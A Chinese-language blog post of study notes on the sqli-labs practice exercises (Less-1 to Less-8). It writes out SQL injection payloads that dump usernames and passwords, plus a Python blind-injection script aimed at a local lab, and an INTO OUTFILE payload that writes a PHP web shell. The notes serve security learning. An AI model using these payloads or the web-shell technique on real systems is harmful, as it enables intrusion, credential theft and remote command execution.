ANTE PLUVIAM雨 前 档 案 · No. 1999
Index/Journal/Case 0100
Classified

CASE No. 0100  ·  VOL. IV

SQL注入学习

2026.10.12Recorded 记录于
6 minReading 阅读
1,494Words 字数
ArcanumCategory 分类

sqli-labs

less-1

尝试?id=1',得到报错,知道闭合方式 然后继续?id=-1' order by 1 --+去查列数,得到是 3
?id=-1' union select 1,database(),version()--+查数据库名称和版本

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+查表名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+继续查列名

最后?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users--+

image

less-2

尝试?id=1'和?id=1 and 1=2,发现后者可以清空结果,判断是数字型注入
后面同less-1

less-3

闭合方式为'),其余一样

less-4

闭合方式为`“)’,其余一样

less-5

根据报错回显和时间盲注确定闭合方式'
依旧order by查出列数 但是正常方法不能继续查下去,只会显示 You are in… 改为使用报错注入 ?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

查表名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

查列名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+

最后?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password) from users limit 0/1/2,1),0x7e))--+

或者?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(id,0x3a,username,0x3a,password) from users),1,30),0x7e))--+

因为报错回显有长度限制,所以要用limit分行读取,或者使用substring()按长度分段读取

less-6

换了种闭合方式的less-5

less-7

继续时间盲注测出闭合方式'))

然后可以用布尔盲注开始猜表名和列名了
?id=1')) and length(database())=8--+

?id=1')) and ascii(substr(database(),1,1))>100--+ –>true

?id=1')) and ascii(substr(database(),1,1))>120--+ –>false

……

猜表数量?id=1')) and (select count(*) from information_schema.tables where table_schema=database())=4--+

表名首字母?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=114--+

爆数据?id=1')) and ascii(substr((select group_concat(username) from users),1,1))=68--+

可见要请求上百次,手写并不显示,改为脚本(本脚本为ai重构的,因为KITA写的脚本有点不太易读)

#!/usr/bin/env python3
import sys
from dataclasses import dataclass

import requests

@dataclass
class Config:
    url: str = "http://127.0.0.1:15002/Less-7/"
    param: str = "id"
    prefix: str = "1')) and "
    suffix: str = "#"
    true_keyword: str = "You are in"
    false_keyword: str = "You have an error"
    timeout: float = 10.0
    ascii_min: int = 32
    ascii_max: int = 126


CFG = Config()


class Blind:
    def __init__(self, cfg):
        self.cfg = cfg
        self.session = requests.Session()

    def ask(self, cond):
        payload = f"{self.cfg.prefix}{cond}{self.cfg.suffix}"
        body = self.session.get(
            self.cfg.url,
            params={self.cfg.param: payload},
            timeout=self.cfg.timeout,
        ).text
        if self.cfg.true_keyword in body:
            return True
        if self.cfg.false_keyword in body:
            return False
        raise RuntimeError("response not recognized")

    def num(self, expr, lo, hi):
        while lo < hi:
            mid = (lo + hi) // 2
            if self.ask(f"({expr})>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    def text(self, expr, limit=1024):
        n = self.num(f"length(({expr}))", 0, limit)
        out = ""
        for i in range(1, n + 1):
            out += chr(
                self.num(
                    f"ascii(substr(({expr}),{i},1))",
                    self.cfg.ascii_min - 1,
                    self.cfg.ascii_max,
                )
            )
        return out

    def rows(self, expr_tpl, count_expr, upper=64):
        n = self.num(f"({count_expr})", 0, upper)
        return [self.text(expr_tpl.format(i=i), 256) for i in range(n)]


def main():
    b = Blind(CFG)

    if not b.ask("1=1") or b.ask("1=2"):
        print("injection point not usable")
        return 1

    print("database :", b.text("database()", 64))
    print("user     :", b.text("user()", 64))
    print("version  :", b.text("@@version", 128))

    tables = b.rows(
        "select table_name from information_schema.tables "
        "where table_schema=database() limit {i},1",
        "select count(table_name) from information_schema.tables "
        "where table_schema=database()",
    )
    print("tables   :", ",".join(tables))

    cols = b.rows(
        "select column_name from information_schema.columns "
        "where table_schema=database() and table_name='users' limit {i},1",
        "select count(column_name) from information_schema.columns "
        "where table_schema=database() and table_name='users'",
    )
    print("columns  :", ",".join(cols))

    data = b.text(
        "select group_concat(id,0x3a,username,0x3a,password separator 0x7c) "
        "from users",
        4096,
    )
    print("data     :")
    for row in data.split("|"):
        print("  " + row)

    return 0


if __name__ == "__main__":
    sys.exit(main())

image

less-7-OUTFILE

盲注解法比较麻烦,而且题目提示给了outfile,那就来看看吧
与平常不一样的是,outfile会把查询结果写进文件里,less-7不会返回查询结果,因此我们可以用outfile把查询结果存进文件里然后去读文件
依旧需要先查闭合方式和列数,不再赘述

?id=-1')) union select 1,2,'KITA' into outfile '/shared/KITA.txt'--+

先随便写入点什么确认outfile可用

image 确认可用之后继续查数据库,表名,列名 ?id=-1')) union select 1,2,(select database()) into outfile '/shared/db.txt'--+

?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile '/shared/tables.txt'--+

?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273) into outfile '/shared/d_cols.txt'--+

以及数据?id=-1')) union select 1,2,(select group_concat(id,0x3a,username,0x3a,password separator 0x7c) from users) into outfile '/shared/d_data.txt'--+

最后一句话木马拿到getshell
?id=-1')) union select 1,2,0x3c3f7068702073797374656d28245f4745545b305d293b203f3e into outfile '/shared/shell.php'--+
这样就拿到了数据库的控制权

less-8

闭合方式改为‘,其余与7相同

注入方式

闭合方式

常见闭合方式
1,数字型:
?id=1 and 1=1--+
2,单引号字符型:
?id=1' and '1'='1--+
3,双引号字符型:
?id=1" and "1"="1--+
4,单引号 + 小括号:
?id=1') and ('1'='1--+
5,双引号 + 小括号:
?id=1") and ("1"="1--+
6,双括号:
?id=1')) and (('1'='1--+
判断方法
1,有报错先看报错
2,布尔差异
例:?id=1 and 1=1--+
?id=1 and 1=2--+
3,时间盲注
?id=1 and sleep(3)--+
?id=1' and sleep(3)--+
?id=1') and sleep(3)--+

报错注入

注意:报错注入在 MySQL 8.0 已被移除

extractvalue()

根据 XPath 从 XML 中提取文本
函数形式为extractvalue(XML内容, XPath表达式)
如果 XPath 表达式不合法,数据库会报错,并在错误信息中包含有问题的表达式

updatexml()

updatexml()第二个参数也是XPath,遵循相同原理

PostgreSQL

PostgreSQL可用转换类型失败cast()或者::
这里不做过多展开

布尔盲注

ascii()

substr()

SUBSTR(str, pos, len) 在str这个字符串,从pos位置开始,截取len个字符

Recorded by KITA
Vol. IV · 2026.10.12

Replies

读者来信